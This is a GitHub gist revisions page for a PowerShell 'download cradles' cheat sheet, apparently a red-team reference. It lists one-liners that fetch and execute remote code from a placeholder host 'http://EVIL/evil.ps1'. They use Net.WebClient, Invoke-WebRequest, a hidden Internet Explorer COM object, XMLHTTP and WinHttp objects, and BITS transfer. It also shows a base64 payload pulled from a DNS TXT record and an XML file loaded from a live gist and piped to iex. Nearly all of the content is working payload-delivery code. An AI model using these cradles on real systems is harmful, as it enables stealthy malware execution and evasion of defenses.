Skip to content

Instantly share code, notes, and snippets.

@hotplugin0x01

hotplugin0x01/DownloadCradles.ps1

Forked from HarmJ0y/DownloadCradles.ps1
Created July 24, 2025 17:39
Show Gist options
  • Save hotplugin0x01/40d9f6465ca585767922d2c9a7cba48c to your computer and use it in GitHub Desktop.
Save hotplugin0x01/40d9f6465ca585767922d2c9a7cba48c to your computer and use it in GitHub Desktop.
Download ZIP

Revisions

  1. @HarmJ0y HarmJ0y revised this gist Jun 21, 2017. 1 changed file with 13 additions and 0 deletions.
    13 changes: 13 additions & 0 deletions DownloadCradles.ps1
    View file
    Original file line number Diff line number Diff line change
    @@ -19,3 +19,16 @@ Import-Module bitstransfer;Start-BitsTransfer 'http://EVIL/evil.ps1' $env:temp\t
    # DNS TXT approach from PowerBreach (https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerBreach/PowerBreach.ps1)
    # code to execute needs to be a base64 encoded string stored in a TXT record
    IEX ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(((nslookup -querytype=txt "SERVER" | Select -Pattern '"*"') -split '"'[0]))))

    # from @subtee - https://gist.github.com/subTee/47f16d60efc9f7cfefd62fb7a712ec8d
    <#
    <?xml version="1.0"?>
    <command>
    <a>
    <execute>Get-Process</execute>
    </a>
    </command>
    #>
    $a = New-Object System.Xml.XmlDocument
    $a.Load("https://gist.github.com/subTee/47f16d60efc9f7cfefd62fb7a712ec8d/raw/1ffde429dc4a05f7bc7ffff32017a3133634bc36/gistfile1.txt")
    $a.command.a.execute | iex
  2. @HarmJ0y HarmJ0y revised this gist Sep 14, 2015. 1 changed file with 1 addition and 0 deletions.
    1 change: 1 addition & 0 deletions DownloadCradles.ps1
    View file
    Original file line number Diff line number Diff line change
    @@ -17,4 +17,5 @@ $h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','http://EVIL/evil.ps
    Import-Module bitstransfer;Start-BitsTransfer 'http://EVIL/evil.ps1' $env:temp\t;$r=gc $env:temp\t;rm $env:temp\t; iex $r

    # DNS TXT approach from PowerBreach (https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerBreach/PowerBreach.ps1)
    # code to execute needs to be a base64 encoded string stored in a TXT record
    IEX ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(((nslookup -querytype=txt "SERVER" | Select -Pattern '"*"') -split '"'[0]))))
  3. @HarmJ0y HarmJ0y revised this gist Sep 12, 2015. 1 changed file with 3 additions and 0 deletions.
    3 changes: 3 additions & 0 deletions DownloadCradles.ps1
    View file
    Original file line number Diff line number Diff line change
    @@ -15,3 +15,6 @@ $h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','http://EVIL/evil.ps

    # using bitstransfer- touches disk!
    Import-Module bitstransfer;Start-BitsTransfer 'http://EVIL/evil.ps1' $env:temp\t;$r=gc $env:temp\t;rm $env:temp\t; iex $r

    # DNS TXT approach from PowerBreach (https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerBreach/PowerBreach.ps1)
    IEX ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(((nslookup -querytype=txt "SERVER" | Select -Pattern '"*"') -split '"'[0]))))
  4. @HarmJ0y HarmJ0y created this gist Sep 12, 2015.
    17 changes: 17 additions & 0 deletions DownloadCradles.ps1
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,17 @@
    # normal download cradle
    IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")

    # PowerShell 3.0+
    IEX (iwr 'http://EVIL/evil.ps1')

    # hidden IE com object
    $ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r

    # Msxml2.XMLHTTP COM object
    $h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://EVIL/evil.ps1',$false);$h.send();iex $h.responseText

    # WinHttp COM object (not proxy aware!)
    $h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','http://EVIL/evil.ps1',$false);$h.send();iex $h.responseText

    # using bitstransfer- touches disk!
    Import-Module bitstransfer;Start-BitsTransfer 'http://EVIL/evil.ps1' $env:temp\t;$r=gc $env:temp\t;rm $env:temp\t; iex $r